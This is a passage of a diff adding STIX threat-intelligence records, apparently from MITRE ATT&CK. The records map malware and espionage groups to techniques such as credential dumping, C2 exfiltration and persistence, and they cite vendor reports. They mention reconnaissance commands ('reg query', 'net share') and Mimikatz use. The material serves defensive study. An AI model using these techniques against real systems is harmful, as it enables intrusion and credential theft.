"2018-10-17T00:14:20.652Z", + "id": "relationship--7201204c-d21f-4560-a3d1-c75fabacb4c4", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1e2baacb-9033-49a9-890a-f48c87ab1531", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of executing commands via cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Pupy](https://attack.mitre.org/software/S0192) executes [Mimikatz](https://attack.mitre.org/software/S0002) using PowerShell and can also perform pass-the-ticket and use Lazagne for harvesting credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7ebe873c-07f5-43a7-a59f-9305f9ec55a5", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.993Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by dumping SAM/SECURITY hive and gathers domain controller hashes from NTDS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--35e6542c-b796-478b-b42d-d5b4ddf511d5", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the command reg query \u201cHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\InternetSettings\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bca618ac-7867-4dc4-b683-ae3f61addc68", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--72cf9e20-cff4-49e2-8ea6-e212d473a8f5", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to open and copy data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4f4974e-7918-4829-8379-5e2e98f2ae20", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2, download additional files, and conduct other functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1770cc28-c49c-4b70-b4d0-6976efaede16", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Emissary](https://attack.mitre.org/software/S0082) injects its DLL file into a newly spawned Internet Explorer process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use MSHTA to serve additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Regin](https://attack.mitre.org/software/S0019) leveraged several compromised universities as proxies to obscure its origin.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:32.001Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7d8e5c4d-afdb-43f9-bfcf-7ed674a516e3", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) exfiltrates screenshot files to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--acc40539-13a0-4577-a862-e348962bf0fc", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of network shares with the command net share.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2beb9f29-a94b-469a-870e-2e2072bf941c", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d2fa6899-2529-45b1-86bf-f2c5475a2ea6", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[iKitten](https://attack.mitre.org/software/S0278) saves itself with a leading \".\" so that it's hidden from users by default.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b1d1e98b-e3fe-43d8-8b6d-810d8bc6cfab", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) used spearphishing emails with malicious Microsoft Word attachments to infect victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ad674bb-c8e1-4f19-b96e-f56bfa10797c", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file to load a DLL into the svchost.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3210e5dd-fd8b-42e6-9933-9c4e0c3bbf6b", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.262Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used appcmd.exe to disable logging on a victim server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects its process identifier (PID) on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e6f69552-fe0e-4b40-ad20-4410048277e6", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.017Z", + "id": "relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6", + "source_ref": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "modified": "2019-07-25T12:36:23.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9a35b72d-f238-4214-8bd1-91b768ab277b", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--2a220ca3-88f4-40eb-8041-184c412950d4", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.415Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 